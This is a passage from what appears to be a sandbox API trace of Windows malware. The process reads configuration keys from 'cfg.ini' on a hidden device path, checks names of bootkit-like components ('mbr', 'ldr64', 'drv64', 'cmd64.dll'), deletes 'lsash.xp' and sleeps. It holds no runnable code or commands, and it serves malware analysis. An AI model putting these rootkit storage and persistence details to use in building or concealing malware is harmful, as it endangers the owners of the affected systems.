MemoryDescriptorList=0xfffffa8003baf190) [0129.868] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.868] IdePortDispatch () returned 0x103 [0129.869] KeWaitForMutexObject () returned 0x0 [0129.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.869] KeLeaveCriticalRegion () [0129.869] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.869] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.869] KeEnterCriticalRegion () [0129.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.869] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.869] KeLeaveCriticalRegion () [0129.869] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.869] KeEnterCriticalRegion () [0129.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.869] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.869] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.869] KeLeaveCriticalRegion () [0129.869] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.869] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.870] KeEnterCriticalRegion () [0129.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.870] ExFreePoolWithTag (P=0xfffffa8003c07230, Tag=0x0) [0129.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.870] KeLeaveCriticalRegion () [0129.870] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.870] ReleaseMutex (hMutex=0xf0) returned 1 [0129.870] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.870] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.870] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.870] KeEnterCriticalRegion () [0129.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.870] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.870] IdePortDispatch () returned 0x103 [0129.870] KeWaitForMutexObject () returned 0x0 [0129.870] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.870] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.870] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.870] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.870] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.870] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c066e0 [0129.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.870] KeLeaveCriticalRegion () [0129.870] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.870] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.870] KeEnterCriticalRegion () [0129.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.870] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.870] KeLeaveCriticalRegion () [0129.870] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.870] KeEnterCriticalRegion () [0129.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.871] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.871] IdePortDispatch () returned 0x103 [0129.871] KeWaitForMutexObject () returned 0x0 [0129.871] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.871] KeLeaveCriticalRegion () [0129.871] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.871] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.871] KeEnterCriticalRegion () [0129.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.871] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce5000 [0129.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.871] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.871] IdePortDispatch () returned 0x103 [0129.871] KeWaitForMutexObject () returned 0x0 [0129.871] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.871] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.871] IdePortDispatch () returned 0x103 [0129.871] KeWaitForMutexObject () returned 0x0 [0129.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.872] KeLeaveCriticalRegion () [0129.872] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.872] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.872] KeEnterCriticalRegion () [0129.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.872] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.872] KeLeaveCriticalRegion () [0129.872] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.872] KeEnterCriticalRegion () [0129.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.872] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.872] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.872] KeLeaveCriticalRegion () [0129.872] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.872] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.872] KeEnterCriticalRegion () [0129.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.872] ExFreePoolWithTag (P=0xfffffa8003c066e0, Tag=0x0) [0129.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.873] KeLeaveCriticalRegion () [0129.873] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.873] ReleaseMutex (hMutex=0xf0) returned 1 [0129.873] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.873] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.873] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.873] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.873] KeEnterCriticalRegion () [0129.873] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.873] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.873] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.873] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.873] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.873] IdePortDispatch () returned 0x103 [0129.873] KeWaitForMutexObject () returned 0x0 [0129.873] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.873] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.873] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.873] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.873] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.873] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.873] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.873] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.873] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.873] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.873] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.873] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.873] KeLeaveCriticalRegion () [0129.873] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.873] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.873] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.874] KeEnterCriticalRegion () [0129.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.874] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.874] IdePortDispatch () returned 0x103 [0129.874] KeWaitForMutexObject () returned 0x0 [0129.874] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.874] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.874] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.874] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.874] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.874] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.874] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.874] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.874] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.874] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.874] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.874] KeLeaveCriticalRegion () [0129.874] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.874] ReleaseMutex (hMutex=0x100) returned 1 [0129.874] Sleep (dwMilliseconds=0x2bf20) [0129.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x709d1010, dwHighDateTime=0x1d24fa4)) [0129.881] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.881] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.881] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.881] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.881] KeEnterCriticalRegion () [0129.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.881] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.881] IdePortDispatch () returned 0x103 [0129.881] KeWaitForMutexObject () returned 0x0 [0129.881] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.881] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.881] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.881] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.881] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.881] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c074c0 [0129.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.881] KeLeaveCriticalRegion () [0129.881] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.881] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.881] KeEnterCriticalRegion () [0129.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.881] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.881] KeLeaveCriticalRegion () [0129.881] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.881] KeEnterCriticalRegion () [0129.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.881] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.881] IdePortDispatch () returned 0x103 [0129.882] KeWaitForMutexObject () returned 0x0 [0129.882] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.882] KeLeaveCriticalRegion () [0129.882] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.882] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.882] KeEnterCriticalRegion () [0129.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.882] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce8000 [0129.882] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.882] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.882] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.882] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.882] IdePortDispatch () returned 0x103 [0129.882] KeWaitForMutexObject () returned 0x0 [0129.882] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.882] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.882] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.882] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.882] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.882] IdePortDispatch () returned 0x103 [0129.882] KeWaitForMutexObject () returned 0x0 [0129.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.882] KeLeaveCriticalRegion () [0129.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.883] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.883] KeEnterCriticalRegion () [0129.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.883] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.883] KeLeaveCriticalRegion () [0129.883] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.883] KeEnterCriticalRegion () [0129.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.883] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.883] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07580, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.883] KeLeaveCriticalRegion () [0129.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.883] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.883] KeEnterCriticalRegion () [0129.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.883] ExFreePoolWithTag (P=0xfffffa8003c074c0, Tag=0x0) [0129.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.883] KeLeaveCriticalRegion () [0129.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.883] ReleaseMutex (hMutex=0xf0) returned 1 [0129.883] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.883] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.884] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.884] KeEnterCriticalRegion () [0129.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.884] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.884] IdePortDispatch () returned 0x103 [0129.884] KeWaitForMutexObject () returned 0x0 [0129.884] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.884] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.884] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.884] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.884] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.884] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08fb0 [0129.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.884] KeLeaveCriticalRegion () [0129.884] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.884] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.884] KeEnterCriticalRegion () [0129.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.884] 